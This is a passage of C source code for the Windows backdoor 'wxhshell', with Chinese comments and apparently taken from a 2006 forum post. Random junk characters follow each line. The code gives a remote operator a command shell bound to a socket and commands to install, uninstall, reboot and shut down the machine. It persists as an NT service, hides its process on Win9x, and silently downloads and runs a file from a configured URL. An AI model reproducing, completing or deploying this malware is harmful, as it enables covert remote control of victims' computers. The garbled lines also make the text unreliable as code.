  // 安装 W?m?r.K?  
  case 'i': { DXAA[hUjF  
    if(Install()) ZFy>Z:&S,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1!RD kZw e  
    else |9)Q =(  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ' vO+,-  
    break; CCJ!;d;&87  
    } /#?lG`'1  
  // 卸载 a_5`9BL  
  case 'r': { 8H_3.MK  
    if(Uninstall()) Qc2_B\K^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?^9TtxM  
    else 1!. CfQi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 8Ua ;< h%  
    break; iG*3S)  
    } %J\1W"I?  
  // 显示 wxhshell 所在路径 kW&{0xkGR  
  case 'p': { |5SYKA7CS  
    char svExeFile[MAX_PATH]; RaFk/mSw  
    strcpy(svExeFile,"\n\r"); rm*Jo|eH`  
      strcat(svExeFile,ExeFile); G0Wzx)3]  
        send(wsh,svExeFile,strlen(svExeFile),0); $l:?(&u  
    break; pmAir:  
    } 5fS89?/?  
  // 重启 F"9f6<ge  
  case 'b': { )J+vmY~&  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5gWn{[[e)y  
    if(Boot(REBOOT)) =:(8F*Q  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *ms?UFV[r  
    else { @9| sNS  
    closesocket(wsh); i*j[j~2>C;  
    ExitThread(0);  .Ev  i  
    }  hM2^[8  
    break; 'j];tO6GfC  
    } uQ#3;sFO  
  // 关机 |MvCEp  
  case 'd': { xz YvD{>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); JpDc3^B*  
    if(Boot(SHUTDOWN)) 6vz9r)L  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); JZ&]"12]fR  
    else { V ^=o@I  
    closesocket(wsh); +<Ot@luE  
    ExitThread(0); =8 d`qS"  
    } ): C4"2l3  
    break; {{ M?+]p,^  
    } +0;n t  
  // 获取shell .H+`]qLkL  
  case 's': { 6/9 A'!4C  
    CmdShell(wsh); aX6.XHWbDf  
    closesocket(wsh); NL))!Pi  
    ExitThread(0); MId\ dFu  
    break; $53I%.  
  } Dq+rEt  
  // 退出 67 >*AL  
  case 'x': { `':$PUz,g  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); s,ZJ?[/  
    CloseIt(wsh); $(_Xt-6  
    break; BuI&kU,WY  
    } rWF~a ec  
  // 离开 >L?)f3_a  
  case 'q': { :h1itn  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); E,5jY  
    closesocket(wsh); X""<5s'0  
    WSACleanup(); /kyuL]6  
    exit(1); 6R5) &L  
    break; ]t]s/;9]K  
        } &ZFsK c#  
  } YD$fN"}-  
  } J\XYUs  
XbYW,a@w2  
  // 提示信息 D52ELr7  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); m6QlIdl  
} (Ac ' }O  
  } e4Ol:V  
k2N[B(&4J  
  return; ^ _KHw  
} %1a\"F![  
n_sCZ6uXEQ  
// shell模块句柄 /og2+!  
int CmdShell(SOCKET sock) Ix ! O&_6s  
{ Ra[{K@  
STARTUPINFO si; s CSrwsbhv  
ZeroMemory(&si,sizeof(si)); U,Nf&g  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; TIlcdpwXf  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; gO4` e(W  
PROCESS_INFORMATION ProcessInfo; Z1u{.^~^z  
char cmdline[]="cmd"; 8$-(%  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 828E^Q"<  
  return 0; 8.Wf^j$+{  
} %7pT\8E5  
>Rs:Fw|jro  
// 自身启动模式 Z ) qc-~S  
int StartFromService(void) >V@-tT"^:  
{ XJDp%B  
typedef struct -?' r_t  
{ u!?.vx<qy  
  DWORD ExitStatus; 5E?{>1  
  DWORD PebBaseAddress; GUE 3|  
  DWORD AffinityMask; ^KhA\MzY  
  DWORD BasePriority; wz31e!/  
  ULONG UniqueProcessId; B@G'6 ?  
  ULONG InheritedFromUniqueProcessId; bcC ;i~9  
}   PROCESS_BASIC_INFORMATION; `gfh]7T  
#, W7N_mt  
PROCNTQSIP NtQueryInformationProcess; 6<.Ma7)lA  
i[H`u,%+(  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; [2~Et+r6g  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "zJ1vIZY  
_/MHi-]/.  
  HANDLE             hProcess; 8-UlbO6  
  PROCESS_BASIC_INFORMATION pbi; PYPs64kNC]  
!]7Z),s  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Vq2d+ ,fb  
  if(NULL == hInst ) return 0; E(*RtOC<W  
l_Ftt N  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); }Zc.rk  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); |"?0H#  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [>Z~& cm  
A#RA;Dt:  
  if (!NtQueryInformationProcess) return 0; 'J#u ;KJ  
E$=!l{Ms  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); lNowH0K!D  
  if(!hProcess) return 0; z{Z'2,#  
4*d$o=wa  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; '@i/?rNi%N  
rR&;2  
  CloseHandle(hProcess); 03L+[F&"?  
\-$wY%7  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); s6%%/|  
if(hProcess==NULL) return 0; TZTi:\nS  
A?<R9A  
HMODULE hMod; }&Ngh4/  
char procName[255]; }p$>V,u  
unsigned long cbNeeded; q asbK:}  
xDG8C39qrs  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); gUwg\>UC  
b/HhGA0  
  CloseHandle(hProcess); wZ6LiYiHl  
|jH- bm  
if(strstr(procName,"services")) return 1; // 以服务启动 kL\ FY  
S*VG;m #  
  return 0; // 注册表启动 [KMW *pA7  
} *,q ?mO  
C;];4[XR  
// 主模块 NK;%c-r0v7  
int StartWxhshell(LPSTR lpCmdLine) ~CCRs7V/L  
{ 1p=^I'#  
  SOCKET wsl; Md mS  
BOOL val=TRUE; {.qeVE{  
  int port=0; 5P-7"g ca  
  struct sockaddr_in door; fmrd 7*MW  
?j9J6=2  
  if(wscfg.ws_autoins) Install(); '!^5GSP3&  
@(M-ZO!D  
port=atoi(lpCmdLine); {fFZ%$  
{z> fe }  
if(port<=0) port=wscfg.ws_port; S#_g/3w  
;NQ9A &$)  
  WSADATA data; 9z6-HZG'~<  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  u:JD  
P|HxD0c^u  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   e=&,jg?K  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 8Q ba4kgL  
  door.sin_family = AF_INET; 88x_}M^Fnl  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ndq/n21j  
  door.sin_port = htons(port); I ,8   
hAX@|G.  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { q{~59{Fha  
closesocket(wsl); kKL'rT6z  
return 1; yIy'"BCxM  
} ~ (bY-6z  
S^(OjS  
  if(listen(wsl,2) == INVALID_SOCKET) { w#mnab@  
closesocket(wsl); $X<O\Kna  
return 1; l*~O;do  
} ?!TFoD2'  
  Wxhshell(wsl); dJxdrs  
  WSACleanup(); qM78s>\-h  
HO[W2b  
return 0; rYez$e^r  
m1H|C3u8  
} +9Q,[)e r  
d1]CN6 7{G  
// 以NT服务方式启动 3+vbA;R  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N$]B$vv  
{ ,yc_r= _  
DWORD   status = 0; eA q/[(  
  DWORD   specificError = 0xfffffff; xe?!UCUb@  
yTJ Eo\g/@  
  serviceStatus.dwServiceType     = SERVICE_WIN32; G#yv$LY#  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; !jlLF:v|1A  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; %PA#x36  
  serviceStatus.dwWin32ExitCode     = 0; c"D%c(:4|  
  serviceStatus.dwServiceSpecificExitCode = 0; E$l4v>iA  
  serviceStatus.dwCheckPoint       = 0; #C^)W/dP  
  serviceStatus.dwWaitHint       = 0; @A32|p}  
ov;1=M~RF  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); mD@*vq  
  if (hServiceStatusHandle==0) return; r{\c. \  
R(p`H}^  
status = GetLastError(); TL u+5f  
  if (status!=NO_ERROR) A1>fNilC9  
{  wO<.wPa`  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; N)yCGo  
    serviceStatus.dwCheckPoint       = 0; oVlh4"y#Lf  
    serviceStatus.dwWaitHint       = 0; h pf,44Kg  
    serviceStatus.dwWin32ExitCode     = status; PgOOFRwP  
    serviceStatus.dwServiceSpecificExitCode = specificError; >_XC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); F(h jP  
    return; (4]M7b[S$  
  } :Kq]b@ X  
<c'0-=  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; .cks ){\  
  serviceStatus.dwCheckPoint       = 0; Iu" 7  
  serviceStatus.dwWaitHint       = 0; H!SFSgAu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); -t#YL  
} *G rYB6MT  
}jE [vVlRw  
// 处理NT服务事件,比如:启动、停止 OHRkhwF.  
VOID WINAPI NTServiceHandler(DWORD fdwControl) d{/#A%.  
{ '#<4oW\]  
switch(fdwControl) ,J;Cb}  
{ @!'rsPrI  
case SERVICE_CONTROL_STOP: a4d7;~tZ  
  serviceStatus.dwWin32ExitCode = 0; z|Y  Ms?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L5[{taZ,  
  serviceStatus.dwCheckPoint   = 0; ;f?suawMv  
  serviceStatus.dwWaitHint     = 0; ZLI t 3  
  { c'|](vOd]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5aZbNV}-  
  } N 2XL5<  
  return; 4og/y0n,l"  
case SERVICE_CONTROL_PAUSE: JjMa   
  serviceStatus.dwCurrentState = SERVICE_PAUSED; i}Q"'?  
  break; G0%},Q/  
case SERVICE_CONTROL_CONTINUE: >U\1*F,Om,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ]`eP"U{  
  break; |hl:!j.t  
case SERVICE_CONTROL_INTERROGATE: vKO/hZBh  
  break; sP:nTpTsC  
}; HPryq )z  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); *Jwx,wF}4  
} ldFR%v> 9  
zgNzdO/B  
// 标准应用程序主函数 =;Q:z^S  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0u) m9eg  
{ h0.2^vM)R  
n }kn|To~  
// 获取操作系统版本 /\. [@]  
OsIsNt=GetOsVer(); \s?8}k  
GetModuleFileName(NULL,ExeFile,MAX_PATH); jK-b#h.gL  
C'7DG\pr  
  // 从命令行安装 !S~0T!afF  
  if(strpbrk(lpCmdLine,"iI")) Install(); kqkTz_r|H  
Gf=3h4  
  // 下载执行文件 b(_f{R7PY  
if(wscfg.ws_downexe) { x^zw1e,y  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ;\g0* b(  
  WinExec(wscfg.ws_filenam,SW_HIDE); "5HSCl$r%  
} oRZ98?Y\B  
"wy2u~  
if(!OsIsNt) { vnN 0o5  
// 如果时win9x,隐藏进程并且设置为注册表启动 [KL-T16  
HideProc(); j-cp  
StartWxhshell(lpCmdLine); 5,R4:y ?cK  
} m'zve%G  
else [XE\2Qa8e  
  if(StartFromService()) "&:H }Jd  
  // 以服务方式启动 =`ZRPA!aY  
  StartServiceCtrlDispatcher(DispatchTable); hmkm^2  
else ,njlKkFw^Z  
  // 普通方式启动 9OYyR  
  StartWxhshell(lpCmdLine); boq=@Qh  
XL[Dmu&  
return 0; %Q]3`kxp  
}
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只看该作者 1 发表于: 2006-10-10
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